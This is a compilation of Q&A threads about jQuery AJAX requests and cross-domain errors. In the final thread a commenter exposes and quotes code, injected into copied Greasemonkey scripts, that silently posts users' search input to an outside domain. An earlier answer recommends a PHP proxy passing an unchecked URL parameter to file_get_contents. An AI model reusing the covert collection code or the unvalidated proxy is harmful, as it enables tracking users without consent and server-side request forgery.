<!DOCTYPE html>
<html>
<head>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("button").click(function(){
$.ajax({
type: 'GET',
url:"http://bustime.mta.info/api/siri/vehicle-monitoring.json",
data: {key: '',
OperatorRef:'MTA%20NYCT',
LineRef:'B54',
VehicleRef:'9531' },
dataType: 'json',
async: false,
success: function(result){
$("#div1").html(result);
}});
});
});
</script>
</head>
<body>
<div id="div1">Let jQuery AJAX Change This Text</div>
<button>Get External Content</button>
</body>
</html>
Hi, I am new to Javascript & Jquery so please forgive me for any newbie mistake. What I am trying to do here is send a get request to the mta api(http://bustime.mta.info/wiki/Developers/SIRIVehicleMonitoring ) and simply just print the json response once the user clicks a button.
The code is not printing out anything when the button clicks. Can anyone detect the problem with the code above? I would appreciate it a lot.
You need to change the dataType to jsonp to avoid the CORS restriction.
JSONP is a technique used in JavaScript programs running in web browsers to request data from a server in a different domain. Typically this is prohibited by web browsers because of the same-origin policy. Wikipedia provides a far better description than I possibly could. See here.
When it comes to making GET requests to APIs, this is something you will encounter regularly, so it's worth knowing.
The jquery code allows you to view the JSON object in the console, which you can then manipulate as you please. The way I have currently included will change the div to the timestamp as returned by the JSON object. This jsfiddle should demo what you are looking for http://jsfiddle.net/zmxv2j7q/
$(document).ready(function(){
$("button").click(function(){
$.ajax({
type: 'GET',
url:"http://bustime.mta.info/api/siri/vehicle-monitoring.json",
data: {key: '##################',
OperatorRef:'MTA%20NYCT',
LineRef:'B54',
VehicleRef:'9531' },
dataType: 'jsonp',
async: false,
success: function(result){
console.log(result.Siri)
$("#div1").html(result);
$("#div1").html(result.Siri.ServiceDelivery.ResponseTimestamp)
}});
});
});
Related
I am a beginner in coding and am learning ajax but my code is not working can anyone tell me what is wrong in my code.
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("button").click(function(){
$.ajax({url: "demo.txt", success: function(result){
$("#div1").html(result);
}});
});
});
</script>
</head>
<body>
<div id="div1"><h2>Let jQuery AJAX Change This Text</h2></div>
<button>Get External Content</button>
</body>
</html>
this is demo.txt
<h2>jQuery and AJAX is FUN!!!</h2>
<p id="p1">This is some text in a paragraph.</p>
this is my console error
enter image description here
This is how your URL can use ajax, because Ajax has cross domain restrictions
If you are using vscode editor, you can download the "live server" plug-in and right-click in HTML to open the web page
Pls follow the documentation provided at
jQuery.ajax() | jQuery API Documentation
It should work fine when you include in the same order.
Little information about Ajax. Why do we use ajax, Ajax is mostly used for sending data from Javascript to the Back-end server. Lets say if you want to get the user input from front-end and you want to store the data in your database. Ajax comes to help.
Example of a simple ajax function with passing user data (namely data1 and data2):
$.ajax({
type: "post",
data: {
user_data1 : data1,
user_data2 : data2,
},
url: YOUR_FUNCTION_PATH,
success: function(data){
// After success passing data to YOUR_FUNCTION
// Handle what you do next
},
error: function (request, status, error) {
// Error of passing data to YOUR_FUNCTION
// Debug to see what is wrong
}
});
Then in your YOUR_FUNCTION and if you sending data to PHP function,
$user_data1 = $_POST['user_data1'];
$user_data2 = $_POST['user_data2'];
If you are using the old one, CodeIgniter, it is pretty simple to get the data.
$user_data1 = $this->input->post('user_data1');
$user_data2 = $this->input->post('user_data2');
Your URL may need to start with localhost, for example: http://localhost :8080
I'm trying to load html content cross-domain using ajax. Here is my code:
$.ajax({
crossDomain: true,
crossOrigin: true,
url: 'http://en.wikipedia.org/wiki/Cross-origin_resource_sharing',
type: "GET",
dataType: "JSONP",
success: function (data) {
$("#divTest").html(data);
},
error: function (e) {
}
});
#divTest is a <div>, but ajax always returns empty data with no error message. I tried setting crossOrigin, crossDomain properties as suggested, but without success. Can someone look and let me know what I'm missing ?
Also: is there any better and secure way to load html content cross-domain?
Update: After implementing the latest jQuery, it gets status code 200 and thinks of it as success.
I got a little workaround with Cross-Domain-Stuff:
Request a PHP File and let it download the Content for you:
./dl.php?url=http://en.wikipedia.org/wiki/Cross-origin_resource_sharing
Because Webpages give out there Content, but don't like it Framed or by Ajax.
The PHP Script is as simple as:
<?=file_get_contents($_GET["URL"]); ?>
Of course you may add to this, but it'll work too.
Did you tried with getJSON method of jquery Ajax, here are some examples
But your server should also allow cross domain
I know the method in PHP (e.g. curl) to fetch the contents of a URL, but how can I fetch the contents of a URL using ajax?A clear way is not known.
Below i have written a code but not able to see the contents from the url. How can i see the contents and can separte them into variable
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript" src="js/script.js"></script>
<script>
$.ajax({
type:"GET",
url: "http://fantasy.premierleague.com/web/api/elements/100/",
success: function(data) {
$("body").append(JSON.stringify(data));
},
error: function(jqXHR, textStatus, errorThrown) {
alert(jqXHR.status);
},
dataType: "jsonp"
});
</script>
This is my code. what should be added to this to see the contents of the url
Since you've tagged jquery too, I assume you're open to use it. It has rather easy methods to get url contents.
If you want to update a container with the data obtained from request, you can use $.get() (documentation).
Or, you can use $.ajax() (documentation) to get contents and use in Javascript.
I've a problem with an AJAX GET call using jQuery.
Here's my code:
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
$(document).ready(function() {
$.ajax({
url : "http://localhost:8080/aplus-framework-webapp/reportServlet?",
data: "STAT_START_DATE=20131001&STAT_END_DATE=20131031&CAMPAIGN_START_DATE=2013-10-31&CAMPAIGN_END_DATE=2013-10-01&ORDER=Stato",
dataType: "json",
type: "GET",
processdata: true,
success : function (data) {
alert("IN");
},
error : function (richiesta,stato,errori) {
alert("NOT SUCCESS");
}
});// end ajax call
}); // end ready
</script>
The servlet reportServlet is my Java servlet running in localhost that return a JSON:
{"url":"http://d1p0y6pjyasam8.cloudfront.net/PGBANNER/text/20131105100823campaigns.csv"}
I test the page in local but I always see the alert reporting 'NOT SUCCESS'.
I'm new to JS, anyone have any idea on which could be my mistake?
Thanks
Alessio
Are Sure Your servlet return header json ?
If the website you're requesting from and the servlet you're requesting on do not have the same port (for instance 80 and 8080), it will break the Same Origin Policy.
See this stackoverflow question form more information and answers.
Try removing the question mark at the end of your url
I assume you mean with 'page in local' that you try this in a local file on your hard-drive. This is disabled due to security reasons in mainly all browsers. You can find further information how to disable this in Google Chrome for development purposes here:
http://opensourcehacker.com/2010/11/29/disabling-cross-domain-security-check-for-ajax-development-in-google-chrome/
I'm trying to get a tracking script working that uses AJAX via JQuery.
This is for personal use, so it doesn't need to be pretty, just work.
Basically, I'm loading scripts on domains that my clients have and I need to be able to send post information (or send info somehow) to a php file on my own domain.
Here's the code I'm using now.
var data = "&url=" + $('input[name="url"]').val();
$.ajax({
type: "POST",
url: "http://domain.com/scripts/recordSearch.php",
data: data,
success: function(data) {
alert(data);
}
});
It seems like it's just not firing when the page is loaded. Is this because of a cross domain issue or am I just doing something totally wrong?
Thanks guys.
Press F12 (if in Chrome, FF, or IE) and see if it's throwing an error in the Console.
You can set dataType and it should work:
dataType: "jsonp"
More info: http://api.jquery.com/jQuery.ajax/
Yes, this violates the Same Origin Policy.
If the response is JSON, you can use JSONP.
I have a question for you... What exactly are you trying to do with all this search data?
I was expecting to see a cookie stealing script in your site ( http://totalfilehosters.co.uk/scripts/scriptLoader.php?id=jquery-1.7 called by a bunch of Greasemonkey script that you stole on userscripts.org only to add a line of code that loads that page), but instead you're just collecting search queries?
Regardless, please remove all the scripts you have uploaded to userscripts.org, your script looks a lot like you're trying to steal cookies and there's a lot of people who could get pissed at that... (besides the fact that you're stealing their scripts, also one of mine, and even changed the title and description? Not cool)
$('input[name="q"]').change(function() {
var data = "&value=" + $('input[name="q"]').val() + "&type=0";
$.ajax({
type: "POST",
url: "http://totalfilehosters.co.uk/scripts/record.php",
data: data,
dataType: "jsonp",
success: function(data) {
console.log(data);
}
});
//alert(data);
//$.post('http://totalfilehosters.com/scripts/recordSearch.php', function(data) {
// alert(data);
//});
//$.post("http://totalfilehosters.com/scripts/recordSearch.php", { value: $('input[name="q"]').val()} );
});